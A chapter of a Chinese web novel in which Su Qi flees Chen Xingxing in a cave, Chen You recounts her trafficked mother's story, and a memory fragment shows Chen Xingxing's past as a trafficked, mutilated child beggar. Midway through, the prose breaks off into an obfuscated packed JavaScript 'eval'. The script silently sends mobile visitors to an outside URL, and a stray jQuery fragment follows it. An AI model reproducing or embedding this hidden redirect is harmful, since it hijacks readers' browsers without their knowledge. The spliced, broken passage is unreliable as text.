封凛离开后,苏柒往过滤装置里加了水,又查看了山洞角落的陷阱,刚做完就听到洞口传来声响。
“这么快就回来了?”
她一回头,半张脸带着烧伤的女孩站在洞口,举着一把刀,咧开嘴角:
“姐姐,我找到你了。”
苏柒觉得自己胆量算是不错的,在这一刻还是被惊得浑身颤抖。尤其是陈星星身上的恶意太直白,让苏柒立刻意识到,她是来杀人的。
说好的悬疑短剧呢,怎么往恐怖片方向发展了?
这种时刻苏柒是半点仁慈也不会有,她立刻用力扔出一根长矛,准头在封凛手把手教过后也还可以,贴着陈星星的手臂,狠狠钉在她脚前。
碎石飞溅,成功将人逼到了山洞外。
苏柒趁机又抓起石头砸了一通,还拿火把点燃了洞口的枯枝,这样封凛如果看见火光,也能尽快回来。
陈星星耐力惊人,眼看抓着石头又爬了上来,苏柒只能背起陈幽,跑向洞穴深处。
这洞穴里面有无数狭窄的缝隙,先前封凛去探查过,有的是坍塌形成的,有的是早些年就存在的,像无数蜿蜒的迷宫暗道。她和封凛先前也想过从这出去,但尝试几次后,发现这里地形太复杂,没有专业设备和足够食物,还不如从外面想办法。
但如今没办法了,苏柒打不过陈星星,不跑没活路。
岩壁间的缝隙狭窄难行,苏柒还背着陈幽,她尽量护着对方,肩膀蹭过粗糙的石面,被刮出几道血痕。连续拐了十几道弯,身后终于没了声音,苏柒又坚持了一会儿,直到撑不住才停下。
她找了处勉强容身的大石块,将陈幽放下,火把也只敢维持小小一团。
察觉陈幽有些清醒了,苏柒忍不住道:“你妹妹可真难缠啊!”
陈幽睫毛颤动数下,睁开眼后下意识向角落缩了缩,似乎不习惯和人靠太近。
“你身上还有伤,别乱动。”苏柒也不在意对方的躲闪,用手在山涧缝隙接了水,自己先喝了两捧,确定没有异味,又接了一捧。
等她捧着水到陈幽面前,已经洒了一半。
陈幽有些犹豫,苏柒也不催促。
时间一分一秒过去,水滴不断落下,陈幽终于受不了任由别人好意僵持的场面,就着苏柒的手心,喝光了剩下的。
“谢谢。”
等苏柒躺下休息,陈幽突然开口:“不是。”
“什么不是?”
“陈星星不是我妹妹。”
“你怎么肯定她不是?”苏柒诧异。剧本虽然没有明示,但很多地方都暗示陈星星就是陈幽妹妹,以陈幽的年纪,当时应该也没见过妈妈被拐后生下的女儿,为什么会这么笃定?
陈幽没有直接回答。
“你可不可以不要看着我。”
“好”
苏柒转过身,背对着陈幽,山洞足够昏暗,照不见彼此,唯有模糊的剪影在彷徨飘荡。
又过了许久,身后终于响起陈幽的声音。
“我妈妈是被拐卖到山里的……”
陈幽说的很简单。
“她被囚禁了三年,被逼着怀了孩子,生下孩子后,那家人看到是个女孩,很生气。后来我妈妈要跑,他们威胁她,如果她敢跑,就会摔死那个女孩。”
苏柒的呼吸有些绷住了。
“她跑了,那个女孩被当场摔死,她也没有回头。”
陈幽的声音停了下来,藏住了后半句说不出口的话——
妈妈没有回头的来找她,可是她,没有开门。
陈幽的手指下意识掐进自己的伤口里,她无数次想过,如果她开了门,结局会是怎样的。
但因为那份想象太美好,她觉得自己不配。所以后来的时光里,她想的更多的是,如果妈妈没有选择逃跑,如果选择了那个女孩,或许也会过得很好,至少不会冰凉地躺在猪圈里,被啃食的只剩半截身体。
苏柒终于忍不住,侧过身搂了搂单薄的女孩。
“过去了,都过去了。”
颈边有热泪滚滚落下,却始终没有呜咽。
又过了很久,陈幽镇定下来,见苏柒嘴唇有些干,她挪动着伤腿艰难接了一捧水,小心翼翼地捧到苏柒面前。
苏柒喝了。
两人躺在静谧的山洞里,陈幽突然想起什么,哑着声音道:
“其实我之前也以为她是你妹妹。”
苏柒一愣,谁?陈星星?程悦和陈星星?
苏柒想起来,封凛也问过差不多的问题,这表示他也怀疑过她们的关系。
“为什么?”
“她和你有点像。”
陈幽又补充一句:“以前的你。”
苏柒仔细回忆了一下程悦的记忆,陈星星半张脸都烧毁了,其实看不出五官上的相似,所谓的像,其实是行为举止上的,比如一些不经意的小动作、小表情。
“我是独生女。”
这一点苏柒很确定,程悦的父母感情很好,多年来只有程悦一个孩子,早年还开玩笑说给她领养个妹妹,但程悦不愿意,最后也就作罢了。
“嗯,你们不像,你很好。”
苏柒歪歪头:“你也很好。”
“可是我杀了人。”
还是聊到了这个话题。
“三角眼和汤姆?”
陈幽犹豫了一秒,还是点点头。
“不过……”
“不过什么?”
“第一晚我有些慌乱,后来我回去看过,他头顶有一处伤,好像不是我打的。”
“你妈妈被拐卖的村子就在这里吗?”
“不是的,她被转卖了好几次,这里是中转站。”
“你是怎么知道这里的?”
“有人告诉我的,我也不知道是谁。”
苏柒还想继续问,却感觉到一阵眩晕。
“你……”
耳边隐隐听到一些刀砍过石块的声音,陈幽已经快速将她藏到了角落里:“你睡一觉就好了,放心吧,陈星星我会解决掉的。”
陈幽起身,却发现衣角被人抓住了,她垂眸,软绵绵躺着的女生朝她摇头。
“别去。”
陈幽轻轻掰开苏柒的手指。
“我爸爸以前曾经说过,这世上被拐的家庭千千万万,大抵被分为两大类。一类是不在乎的,他们大多都会过得很幸福。一类是在乎的,他们都各有各的不幸。”
“在乎的又被分成两种,一种是向前看,一种是向后看。向前看的一生都会活在愧疚的阴影中,在无数个夜里梦到亲人备受折磨的场景,得不到安宁;而向后看的,则会永远被拖进深渊里,我爸爸,我,都是向后看的。”
“程悦,我知道你都想和我说什么,曾经有很多人都想救我,我的老师,我的同学,可我想你应该懂我的,我在地狱里,早就出不去了。”
在最后清醒的时刻,苏柒看到女孩跌跌撞撞地朝洞穴深处走去。
等苏柒再醒来已经不知道过了多久,山洞里很安静,她扶着墙,根据打斗的痕迹走过了七八处缝隙,终于在一处溶洞,看到了陈星星和陈幽。
陈幽躺在地上,已经永远闭上了眼睛。
她左手握着自己的旧布娃娃,右手握着一块石头。苏柒认出来,那是她给她的石头,山体滑坡前,她让陈幽拿着保命。此时石头上被人裹了两层布条,做成了衣服的样子,像一个瘦瘦的石头娃娃。
陈幽躺在两个娃娃之间,依旧是平时安静的样子,嘴角却是微微勾起。
苏柒走到她身边,帮她整理了一下衣服。
片刻后,她看向另一边的陈星星。她被钉死在一根细长的钟乳石上,脸颊上的烧伤纹路依旧可怖。
苏柒看了片刻,也蹲下身,帮她合上瞪大的眼眸,理了理散乱的衣衫。手碰到陈星星手腕的编绳时,脑中“嘀”的一声响。
【影0:得到道具编绳,可解锁剧情碎片二,是否观看】
苏柒选了是。
她还不知道陈星星究竟是谁,为什么杀人,也不知道她背后还有没有其他人。
再度陷入沉睡,这次依旧像是在看电影,但却是在人来人往的街角。
和苏柒猜测的一样,陈星星很小的时候就被拐卖了,被拐后的她被人打断了腿沿街乞讨。
冬日的风很冷,陈星星匍匐在地上,爬过一个又一个街角,身前的瓷碗不时传来响声,每次过后,她都要跪拜一下,说一声“谢谢您,好人好报”。
陈星星心里很矛盾,希望讨到的钱足够多,这样今天回去就不用挨打;但又怕太多人给她钱,因为给的越多,越说明这次的方式可取,那么三个月后,她好不容易长好的腿又会被打断。
甚至她听那些人说过,每次都这么打好麻烦,不如一次锯了方便……
她害怕。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091991|176256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
狂喜是在下一刻出现的,因为一个穿着卡其色呢子外套的女人,她站在街角,单手捂着嘴,震惊地看向陈星星。
妈妈,那是妈妈!
陈星星呜咽着爬起来,挣扎着想朝女人而去,但下一刻,她看到了墙角守着的凶狠男人,也看到了妈妈惧怕地转过身。
陈星星按捺住心头的激动,若无其事的趴下,继续要钱。重新绕了一圈后,终于在不惊动任何人的情况下,到了妈妈身后。
她好想妈妈,好想爸爸,好想回家。
然而也就在那一刻,她听到妈妈对着电话说:“我看的很清楚,那就是囡囡,我不至于连自己女儿都认不出来,她被人割掉了一只耳朵,右腿不知道是断了还是没了,她好可怜,她……”
这些话被男人暴怒打断,可能因为不小心摁了外放,声音很清晰:“都说了不是不是,被拐三年了,所有人都说找不到了,你脑子清醒点,我们没有残疾女儿。”
男人又重复一次:“没有残疾女儿,你听懂了吗?”
女人猝然醒悟过来,手颤抖数下,终究嘶哑着声音点头。
“你说得对,我看错了。”
说着认错了,但女人却不敢再看一眼,眼里的愧疚和心虚那么明显。
陈星星瞪大眼,刺骨的寒意从脚底蹿上脊背,耳边嗡鸣一片,胸腔阵痛,比在地窖里遭受毒打还疼。
她在见识过人间的悲惨后,又猝不及防见到了人性的残酷。
恍惚一瞬后,陈星星还是立刻想解释,她的耳朵是伪装,腿也不是没了,这只是为了讨到更多的钱。她还没有残疾,她不会成为爸爸妈妈的负担。
然而下一刻,她的嘴巴被人从后面捂住,挂了电话的女人也看到了这边的动静,眼中闪过一丝不忍后便转身离开。
陈星星拼命地挣扎呜咽,但她喊得越大声,女人就走得越快,像是身后有恶鬼在追。
等陈星星撕咬开男人的手,扯掉身上的伪装,追上前去,女人的身影早已没了。
她拼命跑了好几条街,还是没找到,便只能试图找人帮自己。
可这不大的县城里到处都是那群人的眼线,当地人早就对这些见怪不怪,就算她求救,也不会有什么用。
陈星星跑了许久,终于见到了一对年轻男女,他们像是高中生,站在大巴车前,大巴车上还贴着夏令营的标志。
陈星星走上前,哀求对方帮她,苏柒也看清楚了,尽管五官稚嫩了些,但应该是后来在旅馆“误食”毒药死亡的年轻情侣徐阳和李苗苗。
徐阳和李苗苗答应陈星星会帮她报警,但转过身,就因为吵架将这件事抛到了脑后。
陈星星还是被抓住了。
昏暗的地下室里,凶残的男人打算切掉她的耳朵和腿。陈星星瞪大眼睛,拼命挣扎,她不可以没有耳朵和腿,她不可以残疾,爸爸妈妈不会要残疾的她。
挣扎中弄倒了烛台,引起了大火。
一场几乎烧掉她半个身子的大火。
……
从梦境中惊醒,苏柒捂着心口。
此刻她已经明白了剧本里的更多细节。
比如徐阳和李苗苗为什么总是被误杀,他们一开始会被拐卖到这里,根本就不是意外,是陈星星的报复。
他们被拐后用五人换一人和人贩子做了交易,以为能走出荒山,但这不过是一场给予希望的玩弄,结局早就注定了。
再比如旅馆那对寻亲的中年男女,他们的直播寻人之所以会火,是因为有一次女人声嘶力竭地讲述自己梦到了女儿在乞讨,她描述的过于生动,引起了全网的同情。那场直播里中年男人跪在地上,祈求上苍,希望自己的女儿不要遭受这样的苦楚……
中年女人就是陈星星的妈妈。她的描述生动,是因为那就不是梦境,而是现实。
他们会被杀死,也是注定的结局。
剧本的每一部分都串联起来了,苏柒看看左边的陈幽,再看看右边的陈星星,这就是剧本的全部吗?受害者互相伤害,一种悲哀,杀死了另一种悲哀。
听到封凛脚步声时,苏柒正躺着闭目发呆,心神俱疲,以至于指尖都不想动。
刚想说大哥你终于来了,就听到对方的声音,居然是嘶哑的,带着颤音:
“程悦?”
溶洞内有着浓重的血腥味,三个女生并排躺着,没有一点响动,安静得如同太平间。